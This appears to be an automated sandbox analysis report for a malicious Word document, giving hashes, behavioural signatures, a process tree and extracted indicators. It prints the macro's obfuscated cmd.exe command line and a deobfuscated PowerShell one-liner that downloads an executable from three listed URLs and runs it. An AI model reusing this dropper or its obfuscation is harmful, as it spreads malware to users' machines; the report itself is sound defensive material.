18fcb8604dc88c010d786be917f618a461876f5db6f80f1f8a64bc3b8fe48a98

Resubmissions

24-07-2023 06:32

230724-haylwaag65 10

16-07-2023 18:15

230716-wwbacshb7z 10

Analysis

max time kernel
101s
max time network
67s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
24-07-2023 06:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade.doc
Size

181KB
MD5

5f894602e88263e34dcdbb2eb2da3078
SHA1

c4b7c33fd3ff360cee29eaa67705dc79e4a24fdb
SHA256

2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade
SHA512

7c5c71e599c360e43e134e0a0982bf36a1c1503956b4b72654bac8777d5cfb2417602db88fe225ef53f4b674ac22d187c951cd3519cbd628527c8880ea63cff1
SSDEEP

1536:fe/zONq+YIv920aPPg8cmg8/TtMO80mlop3KGyIs+aiyLZMcj0TCYkd3gPdz1TW2:WoVBaPPg87gi8Bo7OwTkxmz1Cz/ptM

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://conferencesdiary.com/wp-content/uploads/templates/qjwwq.png

exe.dropper

https://www.cornink.com/wp-content/templates/dzsttm.png

exe.dropper

https://otcpress.aliencyb.org/wp-content/ttt/yhoskmc.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1116	2808	Cmd.exe	20

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	2072	powershell.exe
8	2072	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
1116	Cmd.exe
3024	cmd.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2808	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2072	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2072	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2808	WINWORD.EXE
2808	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2808 wrote to memory of 2860	2808	WINWORD.EXE	30
PID 2808 wrote to memory of 2860	2808	WINWORD.EXE	30
PID 2808 wrote to memory of 2860	2808	WINWORD.EXE	30
PID 2808 wrote to memory of 2860	2808	WINWORD.EXE	30
PID 2808 wrote to memory of 1116	2808	WINWORD.EXE	31
PID 2808 wrote to memory of 1116	2808	WINWORD.EXE	31
PID 2808 wrote to memory of 1116	2808	WINWORD.EXE	31
PID 2808 wrote to memory of 1116	2808	WINWORD.EXE	31
PID 1116 wrote to memory of 3024	1116	Cmd.exe	33
PID 1116 wrote to memory of 3024	1116	Cmd.exe	33
PID 1116 wrote to memory of 3024	1116	Cmd.exe	33
PID 1116 wrote to memory of 3024	1116	Cmd.exe	33
PID 3024 wrote to memory of 2072	3024	cmd.exe	36
PID 3024 wrote to memory of 2072	3024	cmd.exe	36
PID 3024 wrote to memory of 2072	3024	cmd.exe	36
PID 3024 wrote to memory of 2072	3024	cmd.exe	36

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade.doc"
1⤵
- Drops file in Windows directory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2808
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2860
- C:\Windows\SysWOW64\Cmd.exe
  Cmd VpwTzjhzWiEHlb nAWrqowVktzVzcirvOizczlm ZDAjcrBXXsVSp & %co^m^S^p^E^c% /c %lOcaLaPPdATa:~ -3, -2%^M%pRogRaMDatA:~-4, +1%, , /^V^:oN ^ , /^r" , (^SE^T j^y=^Wy ^4t xC od^ o2 Id 1e ^v^9 UD WM Qn^ BR bG QJ^ m^L^ ^j^H^ z ^H^7^}pU}JA{Gjh^aTc^2At^zoaY^Q^cci^}4^M;^YGk5ka^e^6^eH^jrX^C^b^yL;^o^yiLb^R^JisT^c^$bF z^2^s^e^xsr^WeR^fcRWonAr^vFPsp-T^Gtb^Lr^ala^y^V^tMdSg^B;3^j^)^cPi^I^rRkKs^ b$IN^ x^b,qth^TvNw8H^4e^$^e^X^(d^H^e^k^Al7D^i9cFLAd^24aN9owClA^cnRJw3Ho0^O^D^F^5.j^7^Dj^kV^a^xjp^L$oX{Rg^y^j^Fr^v^ItOC{gn^)^gnBG^sqSdCvt$^vO^ ^Yn32iYK^ ^v^6h LN^4^BH^Ty$^Y1^(d^bh^T^tch^V^aax^ex^b^rx^9oS^ ^fh^1^;^F^l'wj^eoG^xbZeLn.l^u'^C8^+y^Eiv6XU^vEv9^$X^J^+r^T^'^9s\e^F^'7Q+wd^p^IAm^ vep^ktq^Y:^aF^vN^TnOMe2n$kN=W^Vi27^R^ z^s^5^p$bh;Nc'^f^x^6^e^L9C^F6o9^'T^r^ ji^=6m 4ri^tI^X^kJ^E^KX$XG^;N^M^)Sr'DJ^@7^O'^ph^(6lt9^e^i32^l^d3^pF^8^S^F^4^.^E^f^'V^B^g2^ n^qB^p^75^.^MUc^w7^maGk^9LsxMoRN^h^moy1^g/Z^2t^u^4t^c^7^tj8^/Fe^t^4pn^E^Ie^ C^t^8Dn9qo1NcL^ ^-f^vp6^GwH^r^/QEg9Tr^3no9^5.^W^Vb1kyz^BcS^7nSfe^c9i^7^6^l4^y^a^t^j.t^isDKsR4eY3^r5^Vp^Z^5cd9t^5 ^oo^6/^DB/s^G^:^u^ls^U^3pZ^0tlNt9ahL1^@^Gkgi7ne0p^M^V.R^C^m^v^W^tZ^ot^Z4sbhz4Pd^oT/^Rks^0 en^1^t^0g^awd^ldW^pR^tm^e2eJ^T^t8^0/wP^tIRn^D^jeU^H^t^GIn^CFoZm^cnS-^yMp uw9^g^/^i^k^mk9oi^7^cLY.hXk^O3n^MZilQnn^v^r8Boysc^Yu.35^w^Z^0wS^Fw8l/Ae/3B:d^ss9^f^p0ht^C3tlChwk@DO^g8rnPmpod.a^p^qd^C^wdpw^ZSj6Hq6i/^WI^s^Urer^st^s^vam^vl^2Lpk^8mn^V^e^wLt^al/5Ms^F^S^d^woat^K^oV ^lH^CpPI^u^6x/fht^SAn^Qt^e^bZ^t^E8ni4^oQOcE^f-uR^pN^Fw7r^/6^i^ms^Po^2^vc^Kb.gNypb^r^PwaL^z^i^l^Gd^Zzs2aeML^cOYn^7^J^e^CqrUi^eXEf^P^ZncwoWCcj^C/4s^/^R9^:^q^fs^o1p^Mrtoat8Q^hFy^'Rl=Y^DB^ugq^RF^Cr^o$xn;pL^tl7nz^ce^M^Gi^jp^l^ ^qC^i^2b^7^Ve^v WQ^e.Ku^tODe^XgNVe e^qt^jSc0Xe2X^j^mObHyo^Wy-0lw^T^ReMAnbg^=^u^oD^e^3V^07^jwt$e^J^ 3^wl7alfGe^QehMj^sr^drP^IeEXwB^0o^l^yp)& , , , fO^R , ,, /^L, , %^9 , , , ^IN, , , (117^2, ,,-^3 ,^+2^ ,^ ^ ^, ) , , ^DO ,,( ,, , (,s^e^t ^aHx=!^aHx!!j^y:~%^9, 1!) , , , )&, , iF , ,%^9 , , ,, ,E^qU ,, ,^2 , , , ( , ( , (^cA^LL ,,%^aHx:~ ^+^5% ) ,) , , , ) "
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\SysWOW64\cmd.exe
    cMD , , /V:oN , /r" , (^SE^T j^y=^Wy ^4t xC od^ o2 Id 1e ^v^9 UD WM Qn^ BR bG QJ^ m^L^ ^j^H^ z ^H^7^}pU}JA{Gjh^aTc^2At^zoaY^Q^cci^}4^M;^YGk5ka^e^6^eH^jrX^C^b^yL;^o^yiLb^R^JisT^c^$bF z^2^s^e^xsr^WeR^fcRWonAr^vFPsp-T^Gtb^Lr^ala^y^V^tMdSg^B;3^j^)^cPi^I^rRkKs^ b$IN^ x^b,qth^TvNw8H^4e^$^e^X^(d^H^e^k^Al7D^i9cFLAd^24aN9owClA^cnRJw3Ho0^O^D^F^5.j^7^Dj^kV^a^xjp^L$oX{Rg^y^j^Fr^v^ItOC{gn^)^gnBG^sqSdCvt$^vO^ ^Yn32iYK^ ^v^6h LN^4^BH^Ty$^Y1^(d^bh^T^tch^V^aax^ex^b^rx^9oS^ ^fh^1^;^F^l'wj^eoG^xbZeLn.l^u'^C8^+y^Eiv6XU^vEv9^$X^J^+r^T^'^9s\e^F^'7Q+wd^p^IAm^ vep^ktq^Y:^aF^vN^TnOMe2n$kN=W^Vi27^R^ z^s^5^p$bh;Nc'^f^x^6^e^L9C^F6o9^'T^r^ ji^=6m 4ri^tI^X^kJ^E^KX$XG^;N^M^)Sr'DJ^@7^O'^ph^(6lt9^e^i32^l^d3^pF^8^S^F^4^.^E^f^'V^B^g2^ n^qB^p^75^.^MUc^w7^maGk^9LsxMoRN^h^moy1^g/Z^2t^u^4t^c^7^tj8^/Fe^t^4pn^E^Ie^ C^t^8Dn9qo1NcL^ ^-f^vp6^GwH^r^/QEg9Tr^3no9^5.^W^Vb1kyz^BcS^7nSfe^c9i^7^6^l4^y^a^t^j.t^isDKsR4eY3^r5^Vp^Z^5cd9t^5 ^oo^6/^DB/s^G^:^u^ls^U^3pZ^0tlNt9ahL1^@^Gkgi7ne0p^M^V.R^C^m^v^W^tZ^ot^Z4sbhz4Pd^oT/^Rks^0 en^1^t^0g^awd^ldW^pR^tm^e2eJ^T^t8^0/wP^tIRn^D^jeU^H^t^GIn^CFoZm^cnS-^yMp uw9^g^/^i^k^mk9oi^7^cLY.hXk^O3n^MZilQnn^v^r8Boysc^Yu.35^w^Z^0wS^Fw8l/Ae/3B:d^ss9^f^p0ht^C3tlChwk@DO^g8rnPmpod.a^p^qd^C^wdpw^ZSj6Hq6i/^WI^s^Urer^st^s^vam^vl^2Lpk^8mn^V^e^wLt^al/5Ms^F^S^d^woat^K^oV ^lH^CpPI^u^6x/fht^SAn^Qt^e^bZ^t^E8ni4^oQOcE^f-uR^pN^Fw7r^/6^i^ms^Po^2^vc^Kb.gNypb^r^PwaL^z^i^l^Gd^Zzs2aeML^cOYn^7^J^e^CqrUi^eXEf^P^ZncwoWCcj^C/4s^/^R9^:^q^fs^o1p^Mrtoat8Q^hFy^'Rl=Y^DB^ugq^RF^Cr^o$xn;pL^tl7nz^ce^M^Gi^jp^l^ ^qC^i^2b^7^Ve^v WQ^e.Ku^tODe^XgNVe e^qt^jSc0Xe2X^j^mObHyo^Wy-0lw^T^ReMAnbg^=^u^oD^e^3V^07^jwt$e^J^ 3^wl7alfGe^QehMj^sr^drP^IeEXwB^0o^l^yp)& , , , fO^R , ,, /^L, , %^9 , , , ^IN, , , (117^2, ,,-^3 ,^+2^ ,^ ^ ^, ) , , ^DO ,,( ,, , (,s^e^t ^aHx=!^aHx!!j^y:~%^9, 1!) , , , )&, , iF , ,%^9 , , ,, ,E^qU ,, ,^2 , , , ( , ( , (^cA^LL ,,%^aHx:~ ^+^5% ) ,) , , , ) "
    3⤵
    - An obfuscated cmd.exe command-line is typically used to evade detection.
    - Suspicious use of WriteProcessMemory
    PID:3024
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell $jVD=new-object Net.WebClient;$CqB='https://conferencesdiary.com/wp-content/uploads/templates/qjwwq.png@https://www.cornink.com/wp-content/templates/dzsttm.png@https://otcpress.aliencyb.org/wp-content/ttt/yhoskmc.png'.Split('@');$EXi = '696';$sRi=$env:temp+'\'+$EXi+'.exe';foreach($HNh in $CqB){try{$jVD.DownloadFile($HNh, $sRi);Start-Process $sRi;break;}catch{}}
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2072

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
20KB

MD5
ce818d5745f70fa489d606444a5a5320

SHA1
4ce8fbfb90a648b2e108d99684fa82b3506e94f0

SHA256
5cc412452f3bc99add76e1e05dbc22a6347acba386ba72a70351ec08712b644c

SHA512
84919e008a738511161881c768dc3e9ee793de13f9dd500379daf9c9b4b1077bb0d81718364806f1d0319ccd574fc9e64fa789b5c7246c4e9343633b2b6dd48d

Download Submit
memory/2072-123-0x000000006ABE0000-0x000000006B18B000-memory.dmp

Filesize
5.7MB

Download
memory/2072-124-0x000000006ABE0000-0x000000006B18B000-memory.dmp

Filesize
5.7MB

Download
memory/2072-125-0x0000000002410000-0x0000000002450000-memory.dmp

Filesize
256KB

Download
memory/2072-126-0x0000000002410000-0x0000000002450000-memory.dmp

Filesize
256KB

Download
memory/2072-127-0x0000000002410000-0x0000000002450000-memory.dmp

Filesize
256KB

Download
memory/2072-139-0x000000006ABE0000-0x000000006B18B000-memory.dmp

Filesize
5.7MB

Download
memory/2072-138-0x0000000002410000-0x0000000002450000-memory.dmp

Filesize
256KB

Download
memory/2072-137-0x0000000002410000-0x0000000002450000-memory.dmp

Filesize
256KB

Download
memory/2072-136-0x000000006ABE0000-0x000000006B18B000-memory.dmp

Filesize
5.7MB

Download
memory/2808-88-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-96-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-63-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-65-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-66-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-68-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-67-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-69-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-70-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-72-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-73-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-75-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-76-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-77-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-74-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-80-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-81-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-79-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-82-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-83-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-78-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-71-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-84-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-85-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-86-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-87-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-62-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-89-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-90-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-91-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-94-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-93-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-95-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-64-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-97-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-98-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-100-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-101-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-104-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-102-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-105-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-108-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-103-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-111-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-112-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-113-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-115-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-116-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-117-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-114-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-109-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-92-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-119-0x000000002FDE0000-0x000000002FF3D000-memory.dmp

Filesize
1.4MB

Download
memory/2808-122-0x000000007134D000-0x0000000071358000-memory.dmp

Filesize
44KB

Download
memory/2808-128-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-133-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-134-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-135-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-61-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-60-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2808-56-0x000000007134D000-0x0000000071358000-memory.dmp

Filesize
44KB

Download
memory/2808-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2808-54-0x000000002FDE0000-0x000000002FF3D000-memory.dmp

Filesize
1.4MB

Download
memory/2808-154-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2808-155-0x000000007134D000-0x0000000071358000-memory.dmp

Filesize
44KB

Download